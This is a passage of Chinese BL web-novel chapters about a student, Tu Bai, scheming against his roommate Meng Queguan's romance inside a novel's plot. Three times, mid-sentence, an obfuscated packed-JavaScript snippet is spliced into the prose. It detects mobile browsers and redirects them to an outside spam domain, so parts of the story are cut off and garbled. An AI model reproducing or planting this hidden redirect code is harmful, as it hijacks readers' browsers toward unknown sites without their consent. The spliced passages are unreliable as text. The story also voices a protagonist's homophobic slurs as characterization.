但这并不是最让涂白崩溃的,几秒钟之后,他突然意识到了一个更严重恶心的问题,谢逸没有住进来,如果张适再走了,那不就意味着宿舍里就只剩下自己和孟阙观那个死gay两人了? “涂白,你能陪陪我吗?” 脑海里再一次无限循环昨晚对方说过的话,陡然的,呆滞在原地的涂白打了个哆嗦。 11.谢逸 张适说走就走,第三天早上就叫了人过来搬东西,等到中午的时候,宿舍就空了一大半。 涂白还没有从张适要离开的打击中缓过来,愣愣地站在一边,看樱花酱的笑脸被行李箱的拉链一点点合上。 “没事,又不是见不着了,咱们课好多重合。”张适安慰完,然后头也不回地离开了。 张适走了,但留下给涂白留下了一个烂摊子,首先就是比赛,他不参加来了,意味着最少两人的参赛条件涂白就没有达到,他需要重新为队伍补充人,当然这并不难,只要找剧情里提到的几个人加进来就可以了,其次也是最恶心的..... 手机传来震动,点开一看,果真是一个万恶的头像背景,一个人像,脸被红彤彤的颜料粗糙抹去,背景则是全黑的,看着怪模怪样。 学术妲己——取件码F3 2586 后面还附一张简笔小人拜拜的表情包。 涂白内心火起。 靠,这是装都不愿意装了吗?!这才过去没几天,一会儿又是使唤他取快递,一会儿让他帮忙签到的,只要表现出一点儿不情愿,对方就立刻摆出一副,不是你说要陪我,难道这些小事都不能帮我干的委屈样子。 涂白只能打碎牙齿往肚子里面咽,然而他不知道这只是开始,很快他的噩梦就要降临了。 宿舍并没有因为张适的离开而冷清多久,相反,张适前脚刚走,几日不见的孟大少爷晚上就回来了,上身简简单单黑短袖,领口别一墨镜,下身机能工装裤,脚踩一双织物减震休闲跑鞋,酷飒地像刚从摩托车上下来。 跟在他后面的,还有几个穿着统一西装制服的男的。 孟大少爷倒在他那张真皮沙发上,大手一挥,箱子齐刷刷摆了一地,接着,几个大汉动手,开始把张适的床往外抬。 “干嘛啊?”涂白挡在床前面,不让动,看孟阙观跟看狗一样,觉得对方一回来就拆家。 “腾地方啊,张适同学不是搬走了吗?他短信告诉我的。”孟阙观理所应当道。 “那别人还要来住啊!” “不会的”孟阙观站起来,环顾宿舍一周,在检查还少什么东西,他一边看,一边淡然说出霹雳消息:“我和学校沟通过了,以后这间宿舍都不会有人再住进来了。” 视线一周之后,笑眯眯地落在涂白身上:“所以,宿舍就咱们两个人住了。” “......” 最担心的事情终于还是发生了!某一瞬间涂白升起了一种要不自己也搬出去的念头,他的尊严绝不允许他和一个gay面对面同住一个屋檐之下! “宿舍环境还是不太行吧,”涂白艰难委婉地劝说:“你要不还是和以前一样,一个月住几天就行了,有什么事微信上说就行!” 【求求了,给直男一点活路吧!】 孟阙观笑得更热烈了,眼睛一眨不眨地看着涂白,更加期待一起住了。 “不是你说好的,最近这段时间要陪着我吗,所以我就把东西全部搬过来了,怎么样?” 涂白有苦说不出,脸上还得笑:“呵呵...” 相比于张适收拾行李花费的时间,孟阙观的动静更大,但因为带了三四个劳动力,很快,孟阙观的东西都收在了该待的地方。 一切收拾结束,已经晚上八点了,涂白倒在自己的新床上,是的,孟阙观为了表达自己陪伴的感激之前,硬生生把涂白那张一靠晃三下的架子床,换成了一张软包床,非常舒服并且符合人体力学,然而涂白没有任何喜悦,他刷着学校论坛,浑身散发死气。 ——我去,听说了吗,M住进学生公寓了! —楼上是2G网速吧,人早住进去了。 ——我知道我知道,那阵仗,又是换床、又是装马桶的,装修一样,要我说,真这么娇贵回去住呗,跑学生宿舍干嘛。 涂白手指一动,差点回帖赞同。 ——三楼嫉妒啊,人家又没碍着你什么事?你是羡慕明明同一栋楼,人家住星级酒店,你住废土风吧? ——啊对对对,我就是嫉妒,笑死,你这么替他说话,人家知道你是谁吗?还不是一样住狗窝! ——我也嫉妒,我想和校花住一间,不敢相信他舍友该有多幸福,M那么好看,宿舍条件还那么好。 涂白嘟囔:这福气给你你要不要啊? ——M确实美,近距离见过一次,五官没一点瑕疵,个子还高,不过看那手臂线条,估计是个金刚芭比,一个打三个不在话下。 ——我天菜美貌毋庸置疑! 看到这里,涂白面无表情关掉手机,悄咪咪看向对面,孟阙观带着耳机在看电影,笔记本被他放在膝盖上,大片幽蓝的色素点从他眼中划过,接着又转换成其他颜色。 对方已经换上了睡衣,是黑宽背心和短裤,可能是长年游泳的缘故,手臂有很清晰的肌肉线条,但并不夸张,肩膀也很宽,忽略那张脸,身体很有雕塑感,但一旦配上那张脸,就有点唬人了,虽然不至于到金刚芭比的程度,但也是个金刚好看人。 “床不舒服吗?”电影完了,孟阙观摘下耳机。 涂白摇摇头,孟阙观手里的耳机是他今天取快递拿回来的,他好奇道:“你为什么要买这么多耳机,你是发烧友吗?” 空气凝滞了一瞬,涂白没有察觉,眼睛睁得很大,很单纯。 “也不算吧。”孟阙观把玩手里的耳机:“就是需要。” “可是我看你没事一直带着耳机,而且音量还开挺大。”涂白发现对方的头戴式耳机很多,对方好像也更偏好头戴式的,尤其是那种耳罩厚实看着就隔音的。 【真不怕耳聋啊?】 孟阙观歪头瞧了涂白片刻,他眼神没什么意味,很清润,纯观察,然后得出肯定结论:“你关心我。” 涂白差点炸开,他一股脑从床上爬起来,张口就要否认。 “真好啊,有你陪着我。”孟阙观感叹道:“我感觉和你呆在一起,我都好久想不起来谢逸了。” 涂白硬生生把无数个不是咽了下去,默默催眠自己,朋友....朋友...朋友! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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自从和孟阙观认识以后,涂白的忍功一日比一日长得飞快,看着对方认真的样子,涂白也没力气计较,索性不再管他。 二十分钟后。 “涂白,能帮我看一下这道题吗?”孟阙观道。 涂白正思绪泉涌,根本顾不上他,甚至由于过于沉迷,就连好朋友的面具的都忘记戴了。 皱眉道:“哎呀,没空,你烦不烦啊,自己看答案呗!” 孟阙观没有再说话,彻底安静了下来,涂白没有察觉不对劲儿,直到把手里的这道题结完,抬头时,才意识到问题。 此时的孟阙观没有看题,男生的脸侧对着涂白,不知道看到了什么,脸上没有表情。 涂白顺着对方视线过去,正正好和不远处另一张脸对上——是谢逸。 什么情况?他怎么也在这里?!涂白惊讶,然而不等他反应,更恐怖的来了——谢逸看见他们后,竟然提步走过来了! 完蛋,涂白心里直喊救命,内裤的事儿,孟阙观有没有和谢逸说是自己先发现的啊? 涂白下意识去看谢逸的脸色,不知道是不是他的错觉,对方正直勾勾的盯着自己,眼神不是很友好。 12.气哭 谢逸过来了,涂白的埋头,小说里两人关系确实因为“自己”的勾引而出现了裂痕,孟阙观是个白莲花不知道,但是谢逸却察觉到“涂白”的小九九,于是私下里警告“涂白”离自己和孟阙观远一点。 涂白不确定现在会不会就到了这个剧情点,他难得心虚地滚了滚喉咙,默不做声听面前两人的对话。 “发你信息你没回,没想到在你在这里。”谢逸说话一如既往的平静,涂白听不出他到底知不知道内裤的事情。 “施意眠一会儿过来,问你要不要一起出去。” 涂白实在没忍住,他抬头偷觑,面前两人一站一坐,脸上都没什么表情,谢逸就算了,本来就不笑,而孟阙观这样爱笑的人,不笑的时候,眉眼淡漠,瞳孔无波,给人一种刚才再好的脸色也不作数的感觉,莫名的......不太好惹。 【看来是挑拨成功了,原来他们俩的感情也没那么坚固。】 孟阙观显然是一副不想多说的样子:“不用了,最近没事,你们该干什么干什么吧。”说罢,又低头看书。 涂白看在眼里,觉得对方排斥的意味不要太明显,谢逸是个什么样子的性格,结合小说,涂白大致是了解的,对方比较内敛寡言,因此小说这两人之间的矛盾,很多时候都在于双方不张嘴,一个比一个哑巴拧巴,不过涂白又觉得很奇怪,现实里孟阙观的性格好像又不是这样的。 果真,话说到这里,谢逸并没有解释,相反他很识趣地说了声好,完全看不出话憋在心里的拧巴以及想要解释清楚的急切,涂白想起他妹涂纸看小说时经常评价的话——主角之间不张嘴的酸涩感,用鼻子吸了半天,都没闻到。 而谢逸,除了刚刚走过来时看涂白的那一眼,期间再没理会过他,得到孟阙观的回复后,就非常利落的离开了。 看着对方笔挺的背影,涂白吊在胸口的一口气终于缓缓松了下去。 “我这次表现的怎么样?”对面的孟阙观道。 和刚刚的冷硬淡漠不同,背过谢逸后的孟阙观,似乎依旧痛苦难忍,刚刚还平缓的眉现在微蹙着,眼眸低垂,微长的眼界遮盖眼中情绪,看得出来,是深受情伤。 “你做的很好!”思来想去,涂白还是伸手轻轻拍了拍男生的肩膀,又飞快拿下去,把手在裤子边蹭了蹭,不吝夸奖:“男人就该这样子,当断就断,必须要有骨气自尊!” 孟阙观被鼓励到了,深有感触地点了点头 。 【很好,就保持这种状态最好,把你俩拆散伙了,我奖金才有着落!】涂白心里默道,对于拆伙孟阙观和谢逸,他始终保持着高度的行动力。 心情大好的涂白,大手一挥,拿过孟阙观的作业问他是哪一题不会,孟阙观眨了眨眼,指了指好几道过程死长的题说自己做不来,涂白卷起袖子给他讲,过程不知不觉写满了作业本,最后孟阙观再哦一声,然后适时把最后得出的答案填上去。 就这样,半个小时后,一份由涂白写完过程,属于孟阙观的作业完成了。 “涂白,我去买咖啡,你要喝什么?”孟阙观收好作业本,体贴道。 涂白舔了舔干涩的唇,图书馆的顶层有一家网红咖啡馆,味道不知道好不好,但是价格很不好,随便一杯就要四五十,学生也不给打折,涂白从来没有喝过。 “好吧,那我来一杯吧。”能占的便宜当然要占!涂白矜持地扬了扬脖子,刚刚写了两三页过程的手也不觉得疼了。 趁着孟阙观去点单的功夫,涂白去了一趟洗手间。 洗完手出门,他低头用纸擦手,余光看见面前有人走过来,涂白往一边让,结果那个人还是不轻不重的撞了上来。 “你怎么......”涂白皱眉抬头,对上一张五官精致比拟韩星的脸。 “中午好啊,涂白!”对方一头金发,半披半扎,左侧耳垂上缀着一个黑色十字架的耳坠,跟着对方打招呼的动作轻轻摇晃。 “你不会不认识我了吧?”看涂白迟迟不说话,男生指了指自己:“我是施意眠,咱们之前在阙观的生日宴上见过的。” 涂白当然记得,这么非主流的打扮除了施意眠还能有谁,想不记住都难。 奇了怪了,今天什么日子,怎么遇到这么多不想看见的人,先是孟阙观、又是谢逸,现在又跑来一个施意眠。 “你怎么在这?” “我来找阿逸,没想到会在这里遇见你。”施意眠道。 除了剧情,涂白对这几个人是一点兴趣也没有,于是敷衍地点点头,准备走,没想到施意眠一直堵在他前面,挡着他的路。 涂白不耐:“让开。” 施意眠跟没听见似的:“刚刚我看见你和阙观坐在一起,你们在干嘛?学习吗?” “关你什么事?”涂白不想和施意眠多说,在他心目中,相比于其他围在孟阙观身边的男人来说,施意眠显然是最不择手段的,最疯狂的,这不就是gay中gay?涂白恶心到家了。 “阙观很少这么快亲近人的,我好奇嘛。”施意眠笑了一下。 他也爱笑,不过和孟阙观总是友好谦和的微笑不同,施意眠的笑总让人觉得不怀好意,涂白不喜欢。 “那你去问他,问我干嘛?”涂白冷声道。 施意眠不说话了,不知道是不是被涂白的厌恶刺到了,他视线巡视着涂白的脸,就在涂白忍无可忍的时候,突然凑近,涂白来不及躲,只听见对方小声道:“喂,你是不是喜欢阙观啊?” 涂白一怔,接着像是应激反应一样,整个人从脚趾头缝到头皮缝开始起鸡皮疙瘩,一阵恶寒袭来,他彻底被恶心到了。 “你胡说什么?”涂白瞬间拉响警报,连退好几步,如果不是有墙挡着,估计都要钻进隔壁会议室,他愤怒低吼:“你是不有病?!你以为谁都和你们一样?!恶心死了!!!” 被碰了逆鳞,涂白高度应激,和施意眠连面上都不想装了,看对方的眼神就像看什么会传染的病原体。 施意眠倒是没想到涂白反应这么大,但毕竟被骂了,施意眠从小养尊处优,没被谁用这样的眼神看过,更没有被这么嫌弃过,一时之间洋娃娃似的脸拉了下来。之前刚刚的调笑变成了冷笑。 “是吗?”他眉一挑,说出话火上浇油:“可你不知道吗?你长得就是一张喜欢男人的脸。” 涂白脸一下白了,他最喜不喜欢别人评价自己的外表,因为常常被冠上苗条、瘦弱、可爱、乖巧、女气等等这样的修饰词,而现在长相又这么直白和他最厌恶的同性恋挂在一起,他更炸了。 “你再说一遍?!”果真,和小说里描写的一样,施意绵看着精致可爱,实际上恶劣至极,上一秒还无害,下一秒就恶毒得很,涂白拳头紧紧攥起,就等着对方开口时捶上去。 “我说得不对吗...我说你...” “施意眠。”背后突然传来声音,是谢逸,他站在过道的尽头,不知道看了多久。 涂白瞪过去,凶得连他也恨上了,不过谢逸表情始终淡淡的,眼神平静:“无不无聊,走了。” 施意眠回神,他缓缓收回了脸上的冷意,扫过涂白生气的脸,不知道想到了什么,陡然扬起一个意味不明地哼笑。 “给你一个忠告,如果不喜欢男人,就离孟阙观远点。” 语气中带着恶意的同情或者说是看好戏的讥讽。 说罢,他没再和涂白掰扯,转身跟着谢逸走了,留涂白一人站在原地,胸膛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427199|184300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起一伏。 涂白回到座位上的时候,已经没有心情再学习了,停顿片刻后,他开始收拾书包。 这时,孟阙观回来了,手里还端着托盘,托盘上是两杯打满奶油顶的咖啡。 “我回来了,渴了吧,这杯给你。”孟阙观不知道发生了什么事情,看着涂白收拾书包,不解道:“怎么了?不学了吗?” 涂白不说话,手里的一支笔不听话,盖子怎么都合不上,他索性放弃,动作粗暴地把笔塞进笔袋里。 察觉到了涂白心情不好,孟阙观没有再多说,也收拾书包,然后跟在涂白后面,一路上,两人一前一后,都没有说话,回到宿舍的时候,涂白忍不住了。 “你老是跟着我干嘛啊?!”他把书包丢在自己的桌子上,转身叉腰看着孟阙观,显然他被气得不轻,眼皮嫣红,唇紧紧抿着,中间缀的一颗唇珠发抖,裸露在外的皮肤毛细血管也被气了出来,全身上下都粉,跟兔子一样。 孟阙观看着涂白的全身,脸上露出无辜又担忧的神情:“怎么了?是发生什么事了吗?” 涂白胸膛大喘息,瞪着孟阙观,他不明白,明明孟阙观长得比自己还女人,他们为什么不说他,为什么要说自己会喜欢男人,他、他长得有那么.....娘吗? 涂白不想说出这个字,可一想起来,话还没说出口,眼圈更红了,眼睛里全是水液,眨一眨就要落下来。 “我、我长得有那么像同、同性恋吗?”涂白站不稳,索性一屁股坐在自己的床边,他问自己,脸却仰着,看站在面前的孟阙观,又像是问他。 “怎么会?”孟阙观大惊,他摇摇头:“你很有男子气概!坏人都会怕你!” 涂白不想在外人面前表现出懦弱,但他是泪失禁体质,于是不得不用手抹掉快要流出来的眼泪,但用力太大,脸颊都要破皮了。 孟阙观盯着他脸上的潮湿与红嫩,片刻,缓慢俯下身子,阴影一点点过渡到涂白的身上,涂白什么都没有感觉到,他忙着发泄情绪,只在模糊的泪眼中看到孟阙观为自己打抱不平的唇。 “你知不知道,这些话是谁说的?!”涂白咬牙切齿,恨不得去杀人,他把这一切都怪在了孟阙观的头上,要不是对方交友不慎,自己也不会被侮辱! “谁?” “是你的好朋友施意眠还有....谢逸!”涂白直接发起连坐。 片刻,孟阙观气愤的声音从涂白头顶响起:“他们简直太过分了,我竟然不知道他们这么说你!他们怎么会是这样的人?!” 涂白点头,他更觉得委屈了,他不是不能承受恶意,而是不能承受被冤枉成同性恋的恶意,涂白攥着的拳头发白,现在他已经对于围在孟阙观身边的一众男的,没有一点好感了。 他猛地抬头:“所以你现在知道谢逸他们的真实面目了吧?这样的人,你可千万不能和他和好!”都到这个份上了,愤怒之余,涂白还不忘给谢逸泼脏水。 孟阙观很听他的话,连连点头,涂白想要去看他的表情,结果眼前模糊,只看见对方抿成一道血线的唇,应该也是很生气,于是终于放下心来,埋头专心在心里咒骂。 阴影中,孟阙观眼睫微垂,脸上的神情一点点收敛,他看着面前男生缩在在床边,浑身哭战,埋头露出的后脖又湿又粉,发丝粘在上面,像小鱼尾巴,骨骼又轻又脆。 刚才被涂白以为气愤的唇,只需要一点弧度,血线就变成了一抹弯刀似的笑,他笑着,默不作声,仔细观察欣赏着面前忙着哭泣咒骂的男生。 怎么可能不知道呢?孟阙观想,图书馆顶楼的视野还是不行,刚刚在那里看的,就没有现在近距离看得清晰。 啧,原来哭的时候也像只兔子啊。 13.作死 涂白情绪快要发泄完的时候,后知后觉的后悔了。 他不止一次讨厌自己的泪失禁体质,就连比他小四岁的涂纸都会在他和别人吵架到激动处的时候,急急忙忙挡在他面前,防止对方看见她哥即将掉下来的眼泪。 然而这次涂纸没在,于是涂白利落地掉马了。 纸是孟阙观递过来的,涂白低头夺过,飞快地擦,等擦得眼皮通红,才犹犹豫豫抬起头。 “我没哭你知道吗?”涂白习惯性叉腰解释,这是他的防御性动作:“我只是.....我只是有点生气,对,生气。” 孟阙观半蹲在涂白面前,他个子很高,蹲下来几乎和坐着从涂白一样高,即使他神情是认真的倾听,涂白还是把屁股往后挪了挪,他不喜欢别人的影子压在自己身上。 “他们确实太过分了,我会好好说他们,让他们给你道歉。”男生皱着眉,显示出义愤填膺的样子。 “不、不用了。”涂白本来想点头,又立刻拒绝,他怕孟阙观会趁这个机会又和谢逸联系上,那自己今天的委屈才是白受了。 “我生气是小事,”涂白平复了一下呼吸,思考了片刻,犹犹豫豫把手伸过去,在孟阙观的肩膀上拍了拍,然后和躲瘟疫似地飞快抽走。 “主要是我还替你难过。”涂白给自己今天的失态找到了最佳的原因,对,一切都是因为孟阙观。 “我?”男生挑了下眉,动作随神经的平复消失得很快,但涂白还是捕捉到了,说不清对方是不是疑惑,但那一瞬间的挑眉,还带着其他意味,像是听到什么兴趣盎然的笑话一样。 涂白瞬间涨红了脸,下意识辩解:“真的,在我心目中你应该配得上很好的人,而不是像谢逸这种当面一套背后一套的小人,今天这件事情,充分说明了他就是一个没有素质的人,你还是不要和这样的人在一起了,要不然我都替你可惜!” 涂白言辞掷地有声,但眼神下意识逃避,眼睫不停忽闪,手揪着自己的裤腿。 宿舍里没人再说话,陷入了长久寂静,涂白低头,视线里只有对方的半蹲的腿面,休闲的牛仔布料下隐约突出着肌肉线条,一只苍白大手撑在上面,古巴手链戴在骨节分明的手腕上,银色金属与硬朗交织更显压迫力量,同身上冷香一起逼近。 涂白不自觉又往后缩了缩,整个人快要贴上墙根,他清晰感觉到有一道视线正落在自己的身上,凝滞不动。 【说话啊,老盯着我看干嘛啊?!我身上有奖学金啊?】 涂白在心里嘟囔,悄悄抬眼,看向对方。 可能是因为逆光问题,面前男生的脸落在阴影里,瞳孔里是沉郁幽光,微微发蓝,像海底隧道,但表情看起来是顺和的,因为唇是扬着的,嘴角尖尖的,鲜红的。 “他确实不是一个好人。”孟阙观终于开口:“但是我没想到涂白你这么关心我,这么替我难过。” “哈哈,那可不,我们好朋友嘛,我总不能眼睁睁看你跳火坑吧。” “这样啊,你人真不错,但是吧.....”孟阙观抿了抿唇,眉锋微蹙:“我和他还一起报名了学校的创新比赛,如果这样的话.....” “你还要和这样的人一起比赛?!”涂白提高了声音,苦口婆心,声泪俱下:“他都渣成这样了,你就算再舍不得他,也得稍微晾一下他,看看他后面的表现吧?要不然他更肆无忌惮,更好拿捏你了!” 孟阙观不吭声了,像在沉思。 涂白松了一口气,靠倒在墙上,就等着对方说算了,不参赛了。 “涂白。”孟阙观突然伸手,然后轻轻地、轻轻地拉了拉涂白搭在床上的指尖。 随着皮肤相交的霎那,一瞬间,警报自指尖往上开始拉响,防空警报的尖锐轰鸣声中,涂白不可置信地低头,看了看两人相贴的手指,三秒之后,终于意识到: 自己、自己、竟然四舍五入和一个gay牵手了!!! 不等他下意识给对方一个可以转圈圈的巴掌,就听见对方道:“我可以加入你的团队吗?” “......” 想!都!不!要!想! 涂白在心里怒吼,飞快收回自己的手指,他坐直了身子,后背紧紧贴在墙上,看着几乎是圈在自己面前的人,涂白才意识到自己的避无可避,想要去推,又意识到会发生肢体接触,只能很无语地收回手。 “我、我觉得你最近还是歇一歇、歇一歇比较好,毕竟发生了这么多事情,你觉得呢?” 【不可能,绝对不可能,我的实验室里可以有弯成九十度的导管,但绝对不可以有弯了的下半身。】 孟阙观眉微微垂着,因为涂白的委婉拒绝,就连眼尾的红痣都暗淡了几分。 “是因为怕会拖后腿吗?你放心绝对不会的。”男生保证道:“你们就忙你们的,我绝对不随意插手,而且我还可以给你们免费提供24小时的实验室使用权限。” 涂白眼皮一跳。 “对了,还是实验用的小白鼠、兔子、实验药品、器材,你们都可以随便使用。” 涂白很镇定地抬眼,心动一下。 在小说里,他们项目就因为实验室的问题进展的很不顺利,而“自己”也不是很上心,最后还是队友看不下去了,托了好几层关系,研究生的学姐才允许他们在晚上八点到十一点时间段使用,没想到现在,孟阙观突然出现,要帮自己解决难题。 “比赛奖金我也不要的....我其实就是不想让自己闲下来。”孟阙观祭出杀手锏:“我怕我会忍不住....去联系他。” 这话听的涂白浑身起鸡皮疙瘩,最重要的是,也确实拿捏到了涂白,实验室随便用,不要奖金,免费劳动力,还有比这更好的事情吗?这么大的馅饼就等着自己张嘴了。 此时此刻,利欲熏心的涂白完全忘记了自己一开始发过的毒誓,他注视对方的片刻,看那张难过的脸,最终狠狠拍了一下大腿。 “行,你来吧!” 孟阙观眼睛发亮,刚刚还难过的神情缓缓转变,一抹笑悄无声息的挂了上来。 就这样,队伍里有了第一位新成员,涂白准备按照小说的提示,去找找其他学院的成员,把他们也拉进来,在此期间,他和孟阙观还得在比赛开始之前,准备好开题报告。 工程比赛是他们北华大学面向校内全体本科学生开展校际赛事,建校以来每两年一届,奖学金非常丰厚。 同时赛事设置也很科学,比赛一共有两种参赛类别,一种是科学探究类,一种则是创新创业类。 涂白的器材研究项目是创新开发类,做出实物的同时,需要拥有庞大细致的实验数据支撑,相比其他实现项目,光是实验的数据支持那一部分就几乎是毕业论文的厚度,这么多的实验就更加需要团队力量了。 “就这些人吧,我觉得差不多了。” 涂白把手里的名单象征性的给孟阙观看了一眼,和原文一样,在这次的比赛里,涂白依旧拿出了领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这样的人才怎能不纳入自己麾下,巧妙的是,对方的宿舍离他们宿舍也不远,就在他们楼上,涂白当下就托人找到电话联系了对方,电话那头的杨宴飞还没听完涂白的项目就答应了下来,干劲十足。 涂白开心极了,一回去就把这一连串的好消息全告诉了对方。 “你说你又找了谁?”孟阙观停下敲键盘的手,转过头,身后的屏幕露了出来,涂白这才发现对方的速度还挺快,自己就出去这么半天的功夫,他开题报告就敲了三分之一。 不等他仔细看,孟阙观一只胳膊朝后一搭,身子往椅背上一靠,将笔记本遮得严严实实。 “杨宴飞啊,就咱们头顶宿舍的,都同一个专业的,我看了,成绩也不错呢!”涂白凑过去,踮起脚尖,够着看屏幕。 但还是没看到,因为孟阙观站了起来,他个子高,涂白被压得严严实实,眼前只有对方的五官。 孟阙观戴了一副细框眼镜,镜片薄而透明,一双凤眼清晰冷艳,很有些斯文败类的气质。 “我建议,还是不要加入这个人比较好。”他道。 “为什么?”涂白眉头一皱:“人家都答应了!” 【奇了怪了,前面几个不都看也不看就同意了吗?怎么这个就不行啊?就加,就加。】 孟阙观定定看了涂白半晌,他脸上挂着笑,视线穿过镜片,折射出没什么温度的光。 “好啊,你可以试试。”看着涂白并不罢休的表情,片刻,他慢条斯理地卸下眼镜,那种被修饰的无害的学生气息一点点消弭,没有了眼镜遮挡,刀刃从刀鞘中露出一截。 “试试看,加上他你的实验能不能做下去。” “.......” 对视不下去了,涂白默默的移开眼睛,再没说要让杨宴飞加入,然后冷哼一声,装作很忙地干其他事情去了。 但事实上,涂白并没有被孟阙观的话吓到,隔天涂白就不打一声招呼的让杨宴飞来他们宿舍门口等他,说有项目任务安排。 14.作死 早上没课,涂白起床的时候,是早上八点,隔壁床空着,孟阙观已经出去了,了。 两人相处了一个月了,对于孟阙观的作息,涂白心里有了数,虽然是个学术妲己、绣花枕头,但意外的,作息很逆天,很多时候学习到一两点涂白撑不住要睡了,对方还不睡,清醒地打游戏或者看书,早上涂白还没起来,对方就已经起床了,一看时间,不过六点左右。 这货是不把睡觉进化掉了? 而且不仅如此,对方还挺爱运动,早起之后,会直接去附近某个游泳馆游泳,大概一个半小时后返回,涂白撞见过几次,对方背着运动背包,发尾半湿,带着一股凉丝丝的水汽。 看着时间点,应该差不多回来了,涂白从床上下来,打开衣柜,从里面抽出要穿的短袖短裤,动作间一个黑色的布团滚了下来,涂白捡起一看,瞬间红了脸。 是他之前嫁祸给谢逸的蕾丝内裤同款,不过是黑色的,之前被塞进衣柜里当看不见,没想到现在冒出来了。 涂白正想趁着没人丢到垃圾桶里,结果外面突然有人敲门,慌忙中涂白连忙又把内裤塞回了衣柜,然后紧紧关上了柜门。 “来了,马上。” 涂白打开宿舍门,就见到门口站了一个面熟的男生,对方个子比涂白高一些,他朝涂白笑了笑,看着挺阳光,正是涂白新加入的队员——杨宴飞。 “你怎么来这么早啊。”涂白看了一眼时间,不过八点十几,距离两人约定的八点半还有时间。 杨宴飞闻言露出抱歉的表情:“不好意思,可能是因为第一次参加这样的项目,有点激动,所以来的早了点,要不这样,我在楼下等你好了。” 这话说得涂白龙心大悦,就喜欢这种爱岗敬业的劳动力。 “没事没事,你稍等一下,我去换衣服,咱们一起去图书馆。” 说罢,就半掩着门,回到宿舍,两三下开始脱衣服。 正脱着,他听见宿舍门吱呀一声,好像是被推开了,他以为是杨宴飞进来了,想着孟阙观龟毛的洁癖,于是连忙顾不得穿上衣就去阻止,结果门口站着的是刚刚从外面回来的孟阙观。 依旧是游完泳回来,走近了,一身潮气扑面而来,吸一口,涂白鼻腔都湿淋淋的。 “回来了。”涂白打了一声招呼,坐在自己床上开始脱裤子。 运动包落在地上,不大不小的声音吓了涂白一跳,他踩着一半裤子往上看,发现男生已经靠坐在沙发上,正盯着自己看。 或许是刚从冷水里出来,孟阙观苍白的皮肤被洗浣得更白了,石膏一样,没什么温度,利眉压着深邃的眼,眼尾的痣冷猩的缀着,显示出一种并不好友好的气质。 对方嘴角不挂笑了,涂白后知后觉意识到今天的孟阙观心情可能并不太好。 但涂白才不怕,偏偏要往上撞,他这人就是好了伤疤忘了疼,一点都不记得自己之前害怕孟阙观联系谢逸时的样子,更何况几天前他还发现今年参赛要求中多了一条参赛人员只能刚换一次参赛团队的要求,于是更加肆无忌惮了,反正孟阙观无论如何也可能和谢逸组队了,天助我也! “你刚刚看见门口的男生了吗?那个就是咱们的新队友,谢宴飞。” 【哼,不让我招,我偏要招!就要和你唱反调】 孟阙观没有说话,视线落在涂白身上。 和孟阙观没有活气的白不同,涂白名字带白,身体也是白的,不过他的白里还掺着粉,那是他的毛细血管的颜色,于是脖颈、手臂、大腿等血管交杂的地方,这种粉就更加明显,晕染着过薄的皮肤。 同样的,他是瘦,不过仅限于露出来的两弯锁骨,他的身体会不动声色的藏肉,圆屁股连着大腿一片,是很狡黠的丰腴,涂白一动,那一片红粉就颤,荔枝肉一样。 孟阙观将一切尽收眼底。 看对方不说话,涂白一下子小人得志,觉得现在孟阙观肯定也不能和谢逸参加比赛了,于是更加嚣张,直男就是直男,肠子直、脑子也直,看见孟阙观这副“神魂落魄”的样子,就高兴的忘了对方是gay,也忘了两人挨一下自己就浑身不自在的直男警报,索性叉腰坐在床上,开始高谈阔论。 “我知道你不喜欢他,可是又有什么办法啊,咱们缺人啊,你就当是为了咱们项目,忍一忍,好吧,再说了,我看人家挺好的,没啥问题啊?”这话说的,颇有一种渣男欺负糟糠妻,让对方为了孩子捏鼻子。 孟阙观的视线终于归集在涂白的脸上,他没有在听对方说什么,只觉得对方的神情实在丰富,很奇异的,他陡然想起涂白脸上挂泪的样子,同样是坐在床边,狠狠咬着牙齿,脸颊都鼓了起来,偏偏泪水涟涟,眼角一颗、脸颊一串、嘴角还有一颗,哭得眼皮发肿,粉红的皮肤潮红,好像下一秒就要破馅了,吐出可能甜可能涩的滋味。 孟阙观先后靠了靠,落在沙发扶手上的指尖摩擦。 “所以我说,一会儿你去和宴飞打个招呼去,都是一个队的,要团结。”发完一场高见的涂白心满意足的看着孟阙观不言不语的神态,觉得对方已经完全被自己说服了。 他穿上衣服,踩上凉拖,比划了一个走的手势,本来以为孟阙观不会同意,没想到几秒之后,孟阙观竟然真的站了起来,一副听从的样子。 此时此刻,涂白感觉自己可以去竞选美国总统了!推开宿舍门,他对一直等候在外的杨宴飞道:“介绍一下,这是我舍友,也是咱们队伍中另一个仅次于我的领军人物,孟阙观。” 不知道是不是涂白的错觉,他总觉得杨宴飞在见到孟阙观的一瞬间,眼睛就亮了。 “你、你好,我听说过你,孟、孟同学,你好,我是杨宴飞。”杨宴飞舔了下唇,伸出一只手,不知道是热的还是怎么的,几句话的功夫,就满头大汗,脸红得厉害,对方身上传来淡淡的汗味,涂白不是很喜欢这种气味,下意识往后退了退。 对方这种神态,涂白似曾相识,书里描写他曾经的好舍友——张适时就提过,脸红、汗热、手足无措、眼神乱飞,无一不和现在的杨宴飞符合。 【不是吧,又来一个喜欢孟阙观的?!】 涂白无语,他抬头看向身后的孟阙观,对方脸上没有一点儿表情,就连眼睛都没在杨宴飞身上落,反倒是看着自己,一对眼珠子沉得黢黑,凉得涂白后背发毛。 【看我干嘛?!又不是我的错,谁让你长成这样,活该招男的喜欢!】 